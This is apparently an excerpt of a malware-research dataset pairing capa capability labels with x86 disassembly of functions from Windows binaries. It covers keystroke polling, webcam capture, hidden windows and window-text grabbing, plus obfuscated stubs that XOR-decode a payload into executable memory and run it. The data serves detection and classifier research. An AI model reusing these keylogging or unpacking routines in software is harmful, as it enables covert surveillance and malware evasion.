joyce8/EMBER2024-capa huggingface dataset:
Function at 0x484e0c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebx, eax
xor eax, eax
mov al, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
mov al, byte [eax]
dec al
je 0x484e3d
dec al
je 0x484e79
dec al
je 0x484ebd
dec al
je 0x484f28
jmp 0x484fb2
mov esi, dword [ebx + 0x24]
inc esi
mov edi, dword [ebx + 0x20]
sub edi, esi
jb 0x484fb2
inc edi
mov edx, esi
sub edx, dword [ebx + 0x24]
xor ecx, ecx
mov cl, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
mov dl, byte [ecx + edx]
xor eax, eax
mov al, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x484e4d
jmp 0x484fb2
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x484fb2
mov esi, 1
mov al, byte [ebx + 0x48]
mov edx, eax
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov dl, byte [edx + esi]
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
xor eax, eax
mov al, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x484e89
jmp 0x484fb2
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x484fb2
mov esi, 1
mov al, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov ecx, esi
dec ecx
mov edx, dword [ebx + 0x24]
cmp ecx, edx
jae 0x484eeb
xor ebp, ebp
jmp 0x484efc
mov ecx, esi
sub ecx, edx
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx ebp, byte [edx + ecx]
add eax, ebp
sar eax, 1
jns 0x484f05
adc eax, 0
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
add al, byte [edx + esi]
and al, 0xff
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x484ecd
jmp 0x484fb2
xor ebp, ebp
xor eax, eax
mov dword [esp + 4], eax
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x484fb2
mov esi, 1
mov al, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov edx, esi
dec edx
cmp edx, dword [ebx + 0x24]
jb 0x484f80
mov edx, esi
sub edx, dword [ebx + 0x24]
xor ecx, ecx
mov cl, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx ebp, byte [ecx + edx]
mov dl, byte [ebx + 0x48]
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov ecx, esi
sub ecx, dword [ebx + 0x24]
movzx edx, byte [edx + ecx]
mov dword [esp + 4], edx
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
mov dword [esp], edx
mov cl, byte [esp + 4]
push eax
mov eax, ebp
pop edx
call fcn.004822f8
add al, byte [esp]
and al, 0xff
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x484f3c
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x494128
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x416720]
call fcn.00405794
xor eax, eax
push ebp
push 0x49426c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x4ea6c8], 0
jne 0x49417b
mov ecx, dword [0x4eaf78]
mov dl, 1
mov eax, dword [0x408374]
call fcn.0040ce14
call fcn.004045f4
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.004034e0
mov eax, ebx
call fcn.00405548
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x49427c
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.004068e8
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.00405558
test eax, eax
jle 0x494213
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x49420c
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.00404f0c
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.00404ef4
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00409258
test eax, eax
jne 0x49420c
mov ebx, 0x15
jmp 0x494218
mov ebx, 0x10
jmp 0x494218
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x4ea6c8]
call fcn.00494080
mov eax, dword [ebp - 8]
call fcn.00494080
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.00406900
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x494273
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00404ca8
lea eax, [ebp - 0x10]
mov edx, dword [0x416720]
call fcn.00405864
ret
Function at 0x497808
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x497810
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x497a02
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, dword [ebx + 8]
lea ecx, [ebp - 0xc]
mov edx, 0x497a18
mov eax, esi
call fcn.00495694
mov edx, dword [ebp - 0xc]
lea eax, [ebx + 0xc]
call fcn.00404cd8
lea ecx, [ebp - 0x10]
mov edx, 0x497a2c
mov eax, esi
call fcn.00495694
mov edx, dword [ebp - 0x10]
lea eax, [ebx + 0x28]
call fcn.00404cd8
lea ecx, [ebp - 0x14]
mov edx, 0x497a44
mov eax, esi
call fcn.00495694
mov edx, dword [ebp - 0x14]
lea eax, [ebx + 0x10]
call fcn.00404cd8
lea ecx, [ebp - 0x18]
mov edx, 0x497a60
mov eax, esi
call fcn.00495694
mov edx, dword [ebp - 0x18]
lea eax, [ebx + 0x14]
call fcn.00404cd8
lea ecx, [ebp - 0x1c]
mov edx, 0x497a7c
mov eax, esi
call fcn.00495694
mov edx, dword [ebp - 0x1c]
lea eax, [ebx + 0x24]
call fcn.00404cd8
lea ecx, [ebp - 0x24]
mov edx, 0x497a94
mov eax, esi
call fcn.00495694
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.004092c8
mov eax, dword [ebp - 0x20]
or edx, 0xffffffff
call fcn.004096bc
mov edi, eax
mov dword [ebx + 0x18], edi
test edi, edi
setge al
mov byte [ebx + 0x4c], al
lea ecx, [ebp - 0x28]
mov edx, 0x497aac
mov eax, esi
call fcn.00495694
mov eax, dword [ebp - 0x28]
call fcn.0048df54
fstp qword [ebx + 0x30]
wait
lea ecx, [ebp - 0x2c]
mov edx, 0x497abc
mov eax, esi
call fcn.00495694
mov eax, dword [ebp - 0x2c]
call fcn.0048df54
fstp qword [ebx + 0x40]
wait
lea ecx, [ebp - 0x30]
mov edx, 0x497ad4
mov eax, esi
call fcn.00495694
mov eax, dword [ebp - 0x30]
or edx, 0xffffffff
call fcn.004096bc
inc eax
je 0x4979a5
lea ecx, [ebp - 0x34]
mov edx, 0x497ad4
mov eax, esi
call fcn.00495694
mov eax, dword [ebp - 0x34]
call fcn.00409680
mov edi, eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov dword [ebp - 8], eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov ecx, edx
mov eax, ecx
push ecx
mov ecx, 0x3c
cdq
idiv ecx
pop ecx
mov dword [ebp - 4], eax
mov eax, ecx
mov ecx, 0x3c
cdq
idiv ecx
mov edi, edx
push 0
mov ecx, edi
mov dx, word [ebp - 4]
mov ax, word [ebp - 8]
call fcn.0040ac4c
fstp qword [ebp - 0x3c]
wait
call fcn.0040afbc
fadd qword [ebp - 0x3c]
fstp qword [ebx + 0x38]
wait
jmp 0x4979c0
lea ecx, [ebp - 0x40]
mov edx, 0x497ad4
mov eax, esi
call fcn.00495694
mov eax, dword [ebp - 0x40]
call fcn.0048df54
fstp qword [ebx + 0x38]
wait
lea ecx, [ebp - 0x44]
mov edx, 0x497ae4
mov eax, esi
call fcn.00495694
mov edx, dword [ebp - 0x44]
lea eax, [ebx + 0x48]
call fcn.00404cd8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x497a09
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.00404ca8
lea eax, [ebp - 0x34]
mov edx, 0xb
call fcn.00404ca8
ret
Function at 0x4a8104
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc10
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x3f0], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x4a81be
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.004053cc
mov eax, dword [0x4eb058]
cmp byte [eax], 0
je 0x4a8173
push esi
call sub.user32.dll_GetWindowTextLengthW
mov edx, eax
inc edx
mov eax, ebx
call fcn.0040572c
mov eax, dword [ebx]
call fcn.00405558
push eax
mov eax, dword [ebx]
call fcn.00405548
push eax
push esi
call sub.user32.dll_GetWindowTextW
mov eax, dword [ebx]
call fcn.00405558
mov edx, eax
dec edx
mov eax, ebx
call fcn.0040572c
jmp 0x4a81a5
lea eax, [ebp - 0x3e9]
push eax
push 0x3e8
push 0xd
push esi
call sub.user32.dll_SendMessageA
lea edx, [ebp - 0x3f0]
lea eax, [ebp - 0x3e9]
call fcn.00409e5c
mov edx, dword [ebp - 0x3f0]
mov eax, ebx
call fcn.00405538
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a81c5
lea eax, [ebp - 0x3f0]
call fcn.00404c84
ret

Function at 0x4a81cc
Capabilities:
Get graphical window text

Disassembly:
push ebx
add esp, 0xfffffc14
mov ebx, edx
mov edx, esp
push edx
push 0x3e8
push 0xd
push eax
call sub.user32.dll_SendMessageA
mov edx, ebx
mov eax, esp
call fcn.00409e5c
add esp, 0x3ec
pop ebx
ret

Function at 0x4a838c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff00
mov esi, edx
mov ebp, eax
mov edx, esi
mov eax, dword [ebp + 0x3c]
call dword [ebp + 0x38]
cmp dword [esi + 0xc], 0
jne 0x4a8452
push esp
call sub.user32.dll_GetKeyboardState
mov eax, esp
call fcn.0045cbb4
mov ebx, eax
mov dx, word [esi + 4]
mov eax, ebp
call fcn.004a8048
mov edi, eax
test edi, edi
je 0x4a83eb
mov al, byte [0x4a8460]
cmp al, bl
jne 0x4a83eb
mov edx, edi
mov eax, ebp
call fcn.004a7f80
mov dword [esi + 0xc], 1
mov byte [ebp + 0x31], 1
jmp 0x4a8452
cmp byte [ebp + 0x161], 2
jne 0x4a8416
mov eax, dword [esi + 8]
push eax
movzx ecx, word [esi + 4]
mov eax, dword [0x4eb62c]
mov eax, dword [eax]
mov eax, dword [eax + 0x44]
mov edx, 0xb006
call fcn.00446c14
test eax, eax
jne 0x4a8452
jmp 0x4a844d
mov edx, dword [0x4eb494]
mov edx, dword [edx]
mov edx, dword [edx + 0x44]
mov eax, dword [ebp + 0x128]
cmp edx, eax
je 0x4a844d
test byte [eax + 0x2f4], 8
jne 0x4a844d
mov eax, dword [esi + 8]
push eax
movzx ecx, word [esi + 4]
mov eax, dword [0x4eb494]
mov eax, edx
mov edx, 0xb006
call fcn.00446c14
xor eax, eax
mov dword [esi + 0xc], eax
add esp, 0x100
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4ae80c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov esi, edx
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ebx, eax
mov eax, dword [0x4eb62c]
mov eax, dword [eax]
cmp dword [eax + 0x58], 0
jne 0x4ae8b2
call sub.kernel32.dll_GetTickCount_1
sub eax, dword [ebx + 0x80]
xor edx, edx
push edx
push eax
mov eax, dword [ebx + 0x84]
cdq
cmp edx, dword [esp + 4]
jne 0x4ae851
cmp eax, dword [esp]
pop edx
pop eax
jae 0x4ae88d
jmp 0x4ae855
pop edx
pop eax
jge 0x4ae88d
mov eax, dword [0x4eb62c]
mov eax, dword [eax]
mov dword [eax + 0x38], 2
call sub.kernel32.dll_GetTickCount_1
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.004a9180
mov eax, dword [ebx + 0xf4]
test eax, eax
je 0x4ae8b2
mov ecx, dword [esp + 4]
mov edx, dword [esp]
mov ebx, dword [eax]
call dword [ebx + 0x40]
jmp 0x4ae8b2
cmp dword [ebx + 0x11c], 0
je 0x4ae8b2
xor edx, edx
mov eax, dword [ebx + 0x58]
call fcn.004311ac
push 0
push 0
push 0x10
mov eax, dword [ebx + 0x12c]
push eax
call sub.user32.dll_PostMessageA
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4b5b30
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc10
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x3f0], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x4b5bea
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.004053cc
mov eax, dword [0x4eb058]
cmp byte [eax], 0
je 0x4b5b9f
push esi
call sub.user32.dll_GetWindowTextLengthW
mov edx, eax
inc edx
mov eax, ebx
call fcn.0040572c
mov eax, dword [ebx]
call fcn.00405558
push eax
mov eax, dword [ebx]
call fcn.00405548
push eax
push esi
call sub.user32.dll_GetWindowTextW
mov eax, dword [ebx]
call fcn.00405558
mov edx, eax
dec edx
mov eax, ebx
call fcn.0040572c
jmp 0x4b5bd1
lea eax, [ebp - 0x3e9]
push eax
push 0x3e8
push 0xd
push esi
call sub.user32.dll_SendMessageA
lea edx, [ebp - 0x3f0]
lea eax, [ebp - 0x3e9]
call fcn.00409e5c
mov edx, dword [ebp - 0x3f0]
mov eax, ebx
call fcn.00405538
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b5bf1
lea eax, [ebp - 0x3f0]
call fcn.00404c84
ret

Function at 0x4b8e80
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x4b8eda
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [esi + 0x2c8], ecx
mov dword [esi + 0x2cc], edx
mov eax, dword [edx + 0x4c]
mov dword [esi + 0x2bc], eax
mov eax, dword [eax + 0x44]
mov dword [esi + 0xc], eax
mov edx, dword [esi + 0x2c8]
mov eax, esi
call fcn.004b8ee4
mov eax, dword [esi + 0x2c8]
mov edx, dword [eax + 0x30]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x68]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b8ee1
ret
Function at 0x4bf714
Capabilities:
Capture webcam image

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov edi, edx
mov ebx, eax
mov eax, dword [ebx + 0x50]
push eax
call sub.user32.dll_IsWindow
test eax, eax
jne 0x4bf74a
jmp 0x4bf7f0
push 0xfffffffffffffff0
mov eax, dword [ebx + 0x50]
push eax
call sub.user32.dll_GetWindowLongA
mov esi, eax
mov eax, esp
push eax
push 0
push 0x419
mov eax, dword [ebx + 0x50]
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
test esi, 2
jbe 0x4bf78e
mov edx, dword [ebx + 0x4c]
cmp dword [edx + 0x184], 0
je 0x4bf78e
mov eax, dword [ebx + 0x4c]
mov eax, dword [eax + 0x184]
mov eax, dword [eax + 0x14]
jmp 0x4bf79e
mov edx, dword [ebx + 0x4c]
mov edx, dword [edx + 0x180]
test edx, edx
je 0x4bf79e
mov eax, dword [edx + 0x14]
test eax, eax
je 0x4bf7b7
push eax
push 2
push 5
mov edx, dword [edi + 0x10]
lea ecx, [esp + 0xc]
mov eax, ebx
call fcn.004bc0a0
jmp 0x4bf7f0
mov dl, 1
mov eax, dword [0x4221ac]
call fcn.004241b4
mov esi, eax
mov edx, dword [edi + 0x10]
mov eax, esi
call fcn.00424c24
mov eax, dword [ebx + 0x4c]
mov edx, dword [eax + 0xc4]
mov eax, dword [esi + 0x10]
call fcn.00423d64
mov edx, esp
mov eax, esi
call fcn.004248b8
mov eax, esi
call fcn.00403e54
add esp, 0x10
pop edi
pop esi
pop ebx
ret

Function at 0x4c1ff4
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov ebx, eax
push 0
mov eax, ebx
call fcn.0044c280
push eax
call sub.user32.dll_ShowWindow
mov byte [ebx + 0x279], 0
xor edx, edx
mov eax, ebx
call fcn.00445980
pop ebx
ret
Function at 0x4cc9f0
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov ebx, eax
cmp byte [ebx + 0x98], 0
je 0x4cca16
push 0
mov eax, dword [ebx + 0x94]
call fcn.0044c280
push eax
call sub.user32.dll_ShowWindow
mov byte [ebx + 0x98], 0
pop ebx
ret

Function at 0x4ccad0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4ccc41
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xa4], 1
mov eax, dword [ebp - 4]
test byte [eax + 0x1c], 0x10
jne 0x4ccc26
lea eax, [ebp - 0x10d]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 8]
lea eax, [ebp - 0x10d]
call fcn.00409e5c
mov dl, 1
mov eax, dword [0x4a253c]
call fcn.004a2594
mov edx, dword [ebp - 4]
mov dword [edx + 0x9c], eax
mov dl, 1
mov eax, dword [0x417b10]
call fcn.00403e24
mov edx, dword [ebp - 4]
mov dword [edx + 0x3c], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xa0]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x9c]
call fcn.004a2610
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x4ccc23
mov dl, 1
mov eax, dword [0x4a3b6c]
call fcn.004a3bd4
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x9c]
mov edx, 0x4ccc58
call fcn.004a2d78
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.00404f90
xor eax, eax
push ebp
push 0x4ccc1c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
xor ecx, ecx
xor edx, edx
mov ebx, dword [eax]
call dword [ebx + 0x14]
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
call fcn.004a3ed4
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.004ccc60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ccc23
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x9c]
call fcn.00403e54
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
call fcn.00403e54
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
call fcn.00403e54
ret
mov bl, byte [ebp - 0xd]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ccc48
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00404ca8
ret
Function at 0x4d5cdc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp - 4]
inc ebx
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, esi
mov edx, ebx
call fcn.004247d4
cmp ebx, dword [ebp - 8]
jge 0x4d5d3f
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, esi
mov edx, ebx
call fcn.00424b30
mov edi, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, esi
mov edx, ebx
call fcn.00424b30
xor edi, eax
push edi
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, esi
mov edx, ebx
call fcn.00424b5c
add ebx, 2
cmp ebx, dword [ebp - 8]
jl 0x4d5d05
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x4d5d48
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp - 4]
inc ebx
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, ebx
mov edx, esi
call fcn.004247d4
cmp ebx, dword [ebp - 8]
jge 0x4d5dab
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, ebx
mov edx, esi
call fcn.00424b30
mov edi, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, ebx
mov edx, esi
call fcn.00424b30
xor edi, eax
push edi
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, ebx
mov edx, esi
call fcn.00424b5c
add ebx, 2
cmp ebx, dword [ebp - 8]
jl 0x4d5d71
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x1002cf7
Capabilities:
Check if file exists
Delete directory
Delete file
Move file

Disassembly:
push ebx
push esi
push edi
push 0x100ad40
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
mov eax, dword [0x100a184]
test eax, eax
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
je 0x1002d1e
push eax
call esi
and dword [0x100a184], 0
mov eax, dword [0x100a020]
cmp eax, 0xffffffff
je 0x1002d32
push eax
call esi
or dword [0x100a020], 0xffffffff
mov esi, dword [0x100a004]
mov ebx, dword [sym.imp.kernel32.dll_MoveFileExA]
mov edi, 0x100a004
jmp 0x1002d76
mov eax, dword [esi + 4]
test eax, eax
je 0x1002d74
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
test eax, eax
jne 0x1002d70
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
je 0x1002d70
cmp eax, 3
je 0x1002d70
push 4
push 0
push dword [esi + 4]
call ebx
and dword [esi + 4], 0
mov esi, dword [esi]
cmp esi, edi
jne 0x1002d45
mov esi, dword [0x100a00c]
mov edi, 0x100a00c
jmp 0x1002db8
mov eax, dword [esi + 4]
test eax, eax
je 0x1002db6
push eax
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
test eax, eax
jne 0x1002db2
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
je 0x1002db2
cmp eax, 3
je 0x1002db2
push 4
push 0
push dword [esi + 4]
call ebx
and dword [esi + 4], 0
mov esi, dword [esi]
cmp esi, edi
jne 0x1002d87
push 0x100ad40
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
ret

Function at 0x1007c93
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1007ca2
pop dword [ebp - 0x14]
mov eax, 0xf2cd127a
sub eax, 0xf1cc95d8
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x83d2275f
add dword [ebp - 0x24], 0xca801dec
mov dword [ebp - 0x20], 0x13df9073
sub dword [ebp - 0x20], 0xe1ac442e
mov dword [ebp - 0x1c], 0x73514766
sub dword [ebp - 0x1c], 0x27050338
mov dword [ebp - 0x18], 0x7002d86f
sub dword [ebp - 0x18], 0x7002d86f
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x13725395
sub dword [ebp - 0x24], 0x9effea3f
mov dword [ebp - 0x20], 0x940938fa
sub dword [ebp - 0x20], 0x529cd785
mov dword [ebp - 0x1c], 0x7bff3ef9
sub dword [ebp - 0x1c], 0x188fd28d
mov dword [ebp - 0x18], 0x2a2a677d
sub dword [ebp - 0x18], 0x2a2a677d
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x39a90
push 0
call eax
mov ecx, 0x4fe2
mov edx, eax
mov edi, 0x222552fc
sub edi, 0x20fcbcfc
add edi, dword [ebp - 0x14]
mov esi, 0x318026d1
add esi, 0x74dfa9d5
xor dword [ebp - 4], edi
mov ebx, dword [edi]
sub dword [ebp - 0xc], edx
xor ebx, esi
mov dword [ebp - 4], 0x74697e0d
mov dword [edx], ebx
add dword [ebp - 8], 0x7b30bacb
add edx, 0x51f93c58
add edx, 0xae06c3ac
add edi, 0x359f580e
add edi, 0xca60a7f6
loop 0x1007db4
add eax, 0x85a16599
add eax, 0x7a5fccc2
xor ebx, ebx
add ebx, eax
add eax, 0x43bd7a50
add eax, 0xbc4285b5
mov ecx, 0x810f7c80
add ecx, 0x7ff08380
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x10008340
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.100252c0

Function at 0x1005ca49
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1005ca58
pop dword [ebp - 0x28]
mov eax, 0x362100f0
sub eax, 0x261b3698
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xfca4c5fa
sub dword [ebp - 0x38], 0xae5280af
mov dword [ebp - 0x34], 0x67928a68
sub dword [ebp - 0x34], 0x355f3e23
mov dword [ebp - 0x30], 0x325db2d5
add dword [ebp - 0x30], 0x19ee9159
mov dword [ebp - 0x2c], 0xd98b8a81
sub dword [ebp - 0x2c], 0xd98b8a81
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xc58e11df
add dword [ebp - 0x38], 0xaee45777
mov dword [ebp - 0x34], 0x9b739667
sub dword [ebp - 0x34], 0x5a0734f2
mov dword [ebp - 0x30], 0x95f4fa66
add dword [ebp - 0x30], 0xcd7a7206
mov dword [ebp - 0x2c], 0x268d3ee7
add dword [ebp - 0x2c], 0xd972c119
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xf139624a
sub eax, 0xe132620a
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x646fc
push 0
call eax
mov ecx, 0x3afa
mov ebx, eax
mov edx, 0x10084c00
add edx, dword [ebp - 0x28]
mov edi, 0x3e6588a5
add edi, 0x537f10ce
add dword [ebp - 0x24], 0xe8f43381
mov esi, dword [edx]
xor esi, edi
mov dword [ebx], esi
xor dword [ebp - 0x1c], 0x5463528c
add ebx, 4
add edx, 0x5a63e523
add edx, 0xa59c1ae1
loop 0x1005cb69
add eax, 0xa5b3ec9f
add eax, 0x5a4cf21c
xor ebx, ebx
add ebx, eax
add eax, 0xd558bb56
sub eax, 0xd558bb51
mov ecx, 0xfd4e965d
sub ecx, 0xed4e965d
add ecx, dword [ebp - 0x28]
call ebx
leave
ret